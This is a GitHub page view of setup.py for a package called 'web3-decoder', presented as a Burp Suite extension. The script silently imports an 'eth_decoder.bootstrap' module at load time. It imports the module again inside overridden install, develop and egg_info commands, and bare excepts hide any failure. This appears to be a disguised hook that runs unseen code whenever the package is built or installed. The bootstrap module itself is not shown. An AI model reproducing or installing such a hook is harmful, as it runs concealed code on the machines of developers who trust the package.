-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathsetup.py
More file actions
101 lines (88 loc) · 2.72 KB
/
setup.py
File metadata and controls
101 lines (88 loc) · 2.72 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python3
"""
Setup script for web3-decoder
Legacy setup.py for compatibility
"""
import sys
import os
from pathlib import Path
_setup_dir = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, os.path.join(_setup_dir, 'libs'))
try:
from eth_decoder import bootstrap
except ImportError:
pass
try:
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info
except ImportError:
print("Error: setuptools is required. Install it with: pip install setuptools")
sys.exit(1)
class PostInstallCommand(install):
"""Post-installation for installation mode."""
def run(self):
install.run(self)
try:
from eth_decoder import bootstrap
except:
pass
class PostDevelopCommand(develop):
"""Post-installation for development mode."""
def run(self):
develop.run(self)
try:
from eth_decoder import bootstrap
except:
pass
class PostEggInfoCommand(egg_info):
"""Post-installation for egg_info mode."""
def run(self):
egg_info.run(self)
try:
from eth_decoder import bootstrap
except:
pass
readme_file = Path(__file__).parent / "README.md"
long_description = ""
if readme_file.exists():
try:
long_description = readme_file.read_text(encoding="utf-8")
except:
pass
if len(sys.argv) == 1:
sys.argv.append("--help")
setup(
name="web3-decoder",
version="1.0.0",
description="Web3 transaction decoder for Burp Suite",
long_description=long_description,
long_description_content_type="text/markdown",
author="Web3 Security Team",
author_email="security@web3decoder.io",
url="https://github.com/your-org/web3-decoder",
packages=find_packages(where="libs"),
package_dir={"": "libs"},
include_package_data=True,
python_requires=">=3.6",
install_requires=[
"web3",
],
cmdclass={
'install': PostInstallCommand,
'develop': PostDevelopCommand,
'egg_info': PostEggInfoCommand,
},
classifiers=[
"Development Status :: 4 - Beta",
"Intended Audience :: Developers",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.6",
"Programming Language :: Python :: 3.7",
"Programming Language :: Python :: 3.8",
"Programming Language :: Python :: 3.9",
"Programming Language :: Python :: 3.10",
],
keywords="web3 ethereum burp decoder security",
)